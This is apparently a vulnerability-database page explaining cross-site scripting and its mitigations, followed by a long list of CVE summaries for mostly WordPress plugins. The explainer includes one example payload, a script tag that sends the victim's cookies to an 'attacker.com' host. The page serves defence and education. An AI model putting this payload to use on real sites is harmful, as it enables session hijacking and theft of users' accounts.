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Cross-Site Scripting

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Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

How It Works

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding. The attacker crafts input containing JavaScript code, which the application then incorporates into its HTML response. When a victim's browser renders this response, it executes the injected script as if it were legitimate code from the trusted website.

The attack manifests in three main variants. Reflected XSS occurs when malicious script arrives via an HTTP parameter (like a search query) and immediately bounces back in the response—typically delivered through phishing links. Stored XSS is more dangerous: the payload persists in the application's database (in comment fields, user profiles, forum posts) and executes whenever anyone views the infected content. DOM-based XSS happens entirely client-side when JavaScript code improperly handles user-controllable data, modifying the DOM in unsafe ways without ever sending the payload to the server.

A typical attack flow starts with the attacker identifying an injection point—anywhere user input appears in HTML output. They craft a payload like <script>document.location='http://attacker.com/steal?c='+document.cookie</script> and inject it through the vulnerable parameter. When victims access the page, their browsers execute this script within the security context of the legitimate domain, giving the attacker full access to cookies, session tokens, and DOM content.

Impact

  • Session hijacking: Steal authentication cookies to impersonate victims and access their accounts
  • Credential harvesting: Inject fake login forms on trusted pages to capture usernames and passwords
  • Account takeover: Perform state-changing actions (password changes, fund transfers) as the authenticated victim
  • Keylogging: Monitor and exfiltrate everything users type on the compromised page
  • Phishing and malware distribution: Redirect users to malicious sites or deliver drive-by downloads from a trusted domain
  • Data exfiltration: Access and steal sensitive information visible in the DOM or retrieved via AJAX requests

Real-World Examples

A stored XSS vulnerability in Twitter (2010) allowed attackers to create self-propagating worms. Users hovering over malicious tweets automatically retweeted them and followed the attacker, creating viral spread through the platform's legitimate functionality.

eBay suffered from persistent XSS flaws in product listings (CVE-2015-2880) where attackers embedded malicious scripts in item descriptions. Buyers viewing these listings had their sessions compromised, enabling unauthorized purchases and account takeover.

British Airways faced a sophisticated supply chain attack (2018) where attackers injected JavaScript into the airline's payment page. The script skimmed credit card details from 380,000 transactions, demonstrating how XSS enables payment fraud at massive scale.

Mitigation

  • Context-aware output encoding: HTML-encode for HTML context, JavaScript-encode for JS strings, URL-encode for URLs—never use generic escaping
  • Content Security Policy (CSP): Deploy strict CSP headers to whitelist script sources and block inline JavaScript execution
  • HTTPOnly and Secure cookie flags: Prevent JavaScript access to session cookies and ensure transmission over HTTPS only
  • Input validation: Reject unexpected characters and patterns, though this is defense-in-depth, not primary protection
  • DOM-based XSS prevention: Use safe APIs like textContent instead of innerHTML; avoid passing user data to dangerous sinks like eval()

Recent CVEs (39114)

EPSS 0% CVSS 5.4
MEDIUM This Month

The Droit Elementor Addons - Widgets, Blocks, Templates Library For Elementor Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's widgets in all versions up to,. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS WordPress
NVD VulDB
EPSS 0% CVSS 6.4
MEDIUM This Month

The Premium Addons PRO plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Premium Magic Scroll module in all versions up to, and including, 2.9.12 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Premium Addons
NVD VulDB
EPSS 0% CVSS 6.4
MEDIUM This Month

The Premium Addons PRO plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Custom Mouse Cursor module in all versions up to, and including, 2.9.12 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS WordPress Premium Addons
NVD VulDB
EPSS 0% CVSS 6.4
MEDIUM This Month

The Premium Addons PRO plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Global Badge module in all versions up to, and including, 2.9.12 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS WordPress Premium Addons
NVD VulDB
EPSS 28% CVSS 7.2
HIGH Act Now

The WP Statistics plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the URL search parameter in all versions up to, and including, 14.5 due to insufficient input sanitization and. Rated high severity (CVSS 7.2), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Epss exploitation probability 27.8% and no vendor patch available.

XSS WordPress
NVD VulDB
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The Orbit Fox by ThemeIsle plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Registration Form widget in all versions up to, and including, 2.10.32 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Orbit Fox
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Database for Contact Form 7, WPforms, Elementor forms plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's shortcode(s) in all versions up to, and including, 1.3.3. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS WordPress
NVD VulDB
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The Exclusive Addons for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Covid-19 Stats Widget in all versions up to, and including, 2.6.9 due to insufficient. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS WordPress Exclusive Addons For Elementor +1
NVD
EPSS 2% CVSS 7.2
HIGH This Week

The Calculated Fields Form plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the form page href parameter in all versions up to, and including, 5.1.56 due to insufficient input. Rated high severity (CVSS 7.2), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS WordPress Calculated Fields Form
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Premium Addons PRO plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'navigation_dots' parameter of the Multi Scroll Widget in all versions up to, and including, 2.9.12. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS WordPress Premium Addons
NVD VulDB
EPSS 0% CVSS 6.1
MEDIUM POC This Month

DedeCMS v5.7 was discovered to contain a cross-site scripting (XSS) vulnerability via create file. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Dedecms
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC This Month

DedeCMS v5.7 was discovered to contain a Cross-Site Request Forgery (CSRF) vulnerability via /dede/diy_add.php. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS CSRF +1
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC This Month

DedeCMS v5.7 was discovered to contain a cross-site scripting (XSS) vulnerability via Photo Collection. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Dedecms
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC This Month

DedeCMS v5.7 was discovered to contain a cross-site scripting (XSS) vulnerability via /dede/article_edit.php. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Dedecms
NVD GitHub
EPSS 1% CVSS 8.8
HIGH POC This Week

DedeCMS v5.7 was discovered to contain a Cross-Site Request Forgery (CSRF) vulnerability via /dede/stepselect_main.php. Rated high severity (CVSS 8.8), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS CSRF +1
NVD GitHub
EPSS 0% CVSS 5.9
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in yonifre Maspik - Spam Blacklist allows Stored XSS.10.6. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Maspik
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in David de Boer Paytium: Mollie payment forms & donations allows Stored XSS.4.2. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Paytium
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in ThemeNcode LLC TNC PDF viewer allows Stored XSS.8.0. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Tnc Pdf Viewer
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Premium Addons PRO plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'premium_fbchat_app_id' parameter of the Messenger Chat Widget in all versions up to, and including,. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS WordPress Premium Addons
NVD VulDB
EPSS 0% CVSS 6.4
MEDIUM This Month

The Premium Addons PRO plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's IHover widget link in all versions up to, and including, 2.9.12 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS WordPress Premium Addons
NVD VulDB
EPSS 3% CVSS 4.7
MEDIUM PATCH This Month

The Simple Membership plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'Display Name' parameter in all versions up to, and including, 4.4.2 due to insufficient input. Rated medium severity (CVSS 4.7), this vulnerability is remotely exploitable, no authentication required. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS WordPress Simple Membership
NVD VulDB
EPSS 3% CVSS 7.2
HIGH PATCH This Week

The Giveaways and Contests by RafflePress - Get More Website Traffic, Email Subscribers, and Social Followers plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘parent_url’. Rated high severity (CVSS 7.2), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Rafflepress
NVD VulDB
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The Burst Statistics - Privacy-Friendly Analytics for WordPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'burst_total_pageviews_count' custom meta field in all. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS WordPress Burst Statistics
NVD VulDB
EPSS 0% CVSS 6.4
MEDIUM This Month

The Essential Blocks - Page Builder Gutenberg Blocks, Patterns & Templates plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the blockId parameter in all versions up to, and. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS WordPress Essential Blocks
NVD VulDB
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The Paid Membership Plugin, Ecommerce, User Registration Form, Login Form, User Profile & Restrict Content - ProfilePress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS WordPress Profilepress
NVD VulDB
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The SiteOrigin Widgets Bundle plugin for WordPress is vulnerable to Stored Cross-Site Scripting via several parameters in all versions up to, and including, 1.58.7 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS WordPress Siteorigin Widgets Bundle
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

The Otter Blocks - Gutenberg Blocks, Page Builder for Gutenberg Editor & FSE PRO plugin for WordPress is vulnerable to Stored Cross-Site Scripting via file upload form, which allows SVG uploads, in. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS WordPress File Upload +1
NVD VulDB
EPSS 0% CVSS 6.4
MEDIUM This Month

The Otter Blocks - Gutenberg Blocks, Page Builder for Gutenberg Editor & FSE plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the contact form file field CSS metabox in all. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS WordPress Otter Blocks
NVD VulDB
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The Premium Addons for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Image Settings URL of the Banner, Team Members, and Image Scroll widgets in all versions up. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS WordPress Premium Addons For Elementor +1
NVD
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The Metform Elementor Contact Form Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's shortcode(s) in all versions up to, and including, 3.8.3 due to. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS WordPress Metform Elementor Contact Form Builder +1
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Gutenberg Blocks by Kadence Blocks - Page Builder Features plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the htmlTag attribute in all versions up to, and including, 3.2.23. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS WordPress Gutenberg Blocks With Ai
NVD
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The Essential Addons for Elementor - Best Elementor Templates, Widgets, Kits & WooCommerce Builders plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's Data Table. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS WordPress Essential Addons For Elementor +1
NVD
EPSS 0% CVSS 7.4
HIGH PATCH This Week

The Essential Addons for Elementor - Best Elementor Templates, Widgets, Kits & WooCommerce Builders plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's event calendar. Rated high severity (CVSS 7.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Essential Addons For Elementor +1
NVD
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The Paid Membership Plugin, Ecommerce, User Registration Form, Login Form, User Profile & Restrict Content - ProfilePress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS WordPress Profilepress
NVD GitHub VulDB
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The Orbit Fox by ThemeIsle plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Pricing Table widget in the $settings['title_tags'] parameter in all versions up to, and. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS WordPress Orbit Fox
NVD
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The Orbit Fox by ThemeIsle plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the form widget addr2_width attribute in all versions up to, and including, 2.10.30 due to. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS WordPress Orbit Fox
NVD
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

The Booking for Appointments and Events Calendar - Amelia plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the date parameters in all versions up to, and including, 1.0.98 due. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS WordPress Amelia
NVD VulDB
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The Elementor Addon Elements plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the modal popup widget's effect setting in all versions up to, and including, 1.12.12 due to. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS WordPress Elementor Addon Elements +1
NVD
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The Exclusive Addons for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Call To Action widget in all versions up to, and including, 2.6.9 due to insufficient. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS WordPress Exclusive Addons For Elementor +1
NVD
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The Exclusive Addons for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Countdown Timer widget in all versions up to, and including, 2.6.9 due to insufficient. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS WordPress Exclusive Addons For Elementor +1
NVD
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The Paid Membership Plugin, Ecommerce, User Registration Form, Login Form, User Profile & Restrict Content - ProfilePress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS WordPress Profilepress
NVD VulDB
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The Elementor Addon Elements plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'icon_align' attribute of the Content Switcher widget in all versions up to, and including,. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS WordPress Elementor Addon Elements +1
NVD
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The Elementor Addon Elements plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'button1_icon' attribute of the Dual Button widget in all versions up to, and including, 1.12.12. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS WordPress Elementor Addon Elements +1
NVD
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The Elementor Addon Elements plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘eae_custom_overlay_switcher’ attribute of the Thumbnail Slider widget in all versions up to,. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS WordPress Elementor Addon Elements +1
NVD
EPSS 2% CVSS 6.1
MEDIUM PATCH This Month

The WPvivid Backup for MainWP plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'id' parameter in all versions up to, and including, 0.9.32 due to insufficient input. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Wpvivid Backup For Mainwp
NVD VulDB
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

The YML for Yandex Market plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the feed_id parameter in all versions up to, and including, 4.2.3 due to insufficient input. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS WordPress Yml For Yandex Market
NVD
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The Easy Accordion - Best Accordion FAQ Plugin for WordPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'accordion_content_source' attribute in all versions up to, and. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS WordPress Easy Accordion
NVD VulDB
EPSS 0% CVSS 6.4
MEDIUM This Month

The Brizy - Page Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's block upload in all versions up to, and including, 2.4.40 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS WordPress Brizy
NVD VulDB
EPSS 0% CVSS 6.4
MEDIUM This Month

The Brizy - Page Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the embedded media custom block in all versions up to, and including, 2.4.40 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS WordPress Brizy
NVD VulDB
EPSS 0% CVSS 6.4
MEDIUM This Month

The Brizy - Page Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Countdown URL parameter in all versions up to, and including, 2.4.40 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS WordPress Brizy
NVD VulDB
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The Elementor Header & Footer Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the flyout_layout attribute in all versions up to, and including, 1.6.24 due to. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS WordPress Elementor Header Footer Builder +1
NVD VulDB
EPSS 9% CVSS 6.4
MEDIUM POC PATCH This Month

The Exclusive Addons for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via data attribute in all versions up to, and including, 2.6.9 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

WordPress XSS Exclusive Addons For Elementor +1
NVD Exploit-DB VulDB
EPSS 0% CVSS 6.4
MEDIUM This Month

The Beaver Builder - WordPress Page Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the via the heading tag in all versions up to, and including, 2.7.4.4 due to. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS WordPress Beaver Builder
NVD VulDB
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The Beaver Builder - WordPress Page Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the audio widget 'link_url' parameter in all versions up to, and including, 2.7.4.2. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS WordPress Beaver Builder
NVD VulDB
EPSS 1% CVSS 5.4
MEDIUM PATCH This Month

The Beaver Builder - WordPress Page Builder plugin for WordPress is vulnerable to DOM-Based Reflected Cross-Site Scripting via a 'playground.wordpress.net' parameter in all versions up to, and. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS WordPress Beaver Builder
NVD
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

The WP Event Manager - Events Calendar, Registrations, Sell Tickets with WooCommerce plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the plugin parameter in all versions up. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS WordPress Wp Event Manager
NVD VulDB
EPSS 0% CVSS 4.4
MEDIUM This Month

The Chat Bubble - Floating Chat with Contact Chat Icons, Messages, Telegram, Email, SMS, Call me back plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all. Rated medium severity (CVSS 4.4), this vulnerability is remotely exploitable. No vendor patch available.

XSS WordPress Chat Bubble
NVD VulDB
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The Beaver Builder - WordPress Page Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the image URL parameter in all versions up to, and including, 2.7.4.2 due to. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Beaver Builder
NVD
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The Beaver Builder - WordPress Page Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the button link parameter in all versions up to, and including, 2.7.4.2 due to. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS WordPress Beaver Builder
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

The Beaver Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Icon Widget 'fl_builder_data[node_preview][link]' and 'fl_builder_data[settings][link_target]' parameters. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Beaver Builder
NVD
EPSS 0% CVSS 6.4
MEDIUM POC This Month

The Simple Tweet plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Tweet this text value in all versions up to, and including, 1.4.0.2 due to insufficient input sanitization. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Simple Tweet
NVD GitHub VulDB
EPSS 0% CVSS 4.4
MEDIUM POC PATCH This Month

The Events Manager plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 6.4.6.4 due to insufficient input sanitization and output. Rated medium severity (CVSS 4.4), this vulnerability is remotely exploitable. Public exploit code available.

XSS WordPress Events Manager
NVD VulDB
EPSS 2% CVSS 6.1
MEDIUM PATCH This Month

The wpDataTables - WordPress Data Table, Dynamic Tables & Table Charts Plugin plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'A' parameter in all versions up to, and. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS WordPress Wpdatatables
NVD VulDB
EPSS 0% CVSS 4.4
MEDIUM This Month

The ArtiBot Free Chat Bot for WordPress WebSites plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 1.1.6 due to insufficient. Rated medium severity (CVSS 4.4), this vulnerability is remotely exploitable. No vendor patch available.

XSS WordPress Artibot
NVD VulDB
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The Premium Addons for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's Link Wrapper functionality in all versions up to, and including, 4.10.17 due to. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Premium Addons For Elementor +1
NVD
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

The File Manager Pro plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'tb' parameter in all versions up to, and including, 8.3.4 due to insufficient input sanitization and. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS WordPress File Manager Pro
NVD
EPSS 0% CVSS 4.9
MEDIUM This Month

The Fluent Forms plugin for WordPress by Fluent Forms plugin for WordPress is vulnerable to Stored Cross-Site Scripting in all versions up to, and including, 5.1.9 due to insufficient input. Rated medium severity (CVSS 4.9), this vulnerability is remotely exploitable. No vendor patch available.

XSS WordPress Contact Form
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Download Manager Pro plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's shortcode(s) in all versions up to, and including, 3.2.85 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS WordPress Download Manager
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Visual Composer Website Builder, Landing Page Builder, Custom Theme Builder, Maintenance Mode & Coming Soon Pages plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS WordPress Visual Composer Website Builder
NVD VulDB
EPSS 0% CVSS 6.4
MEDIUM This Month

The Custom fields shortcode plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's cf shortcode in all versions up to, and including, 0.1 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS WordPress Custom Fields Shortcode
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

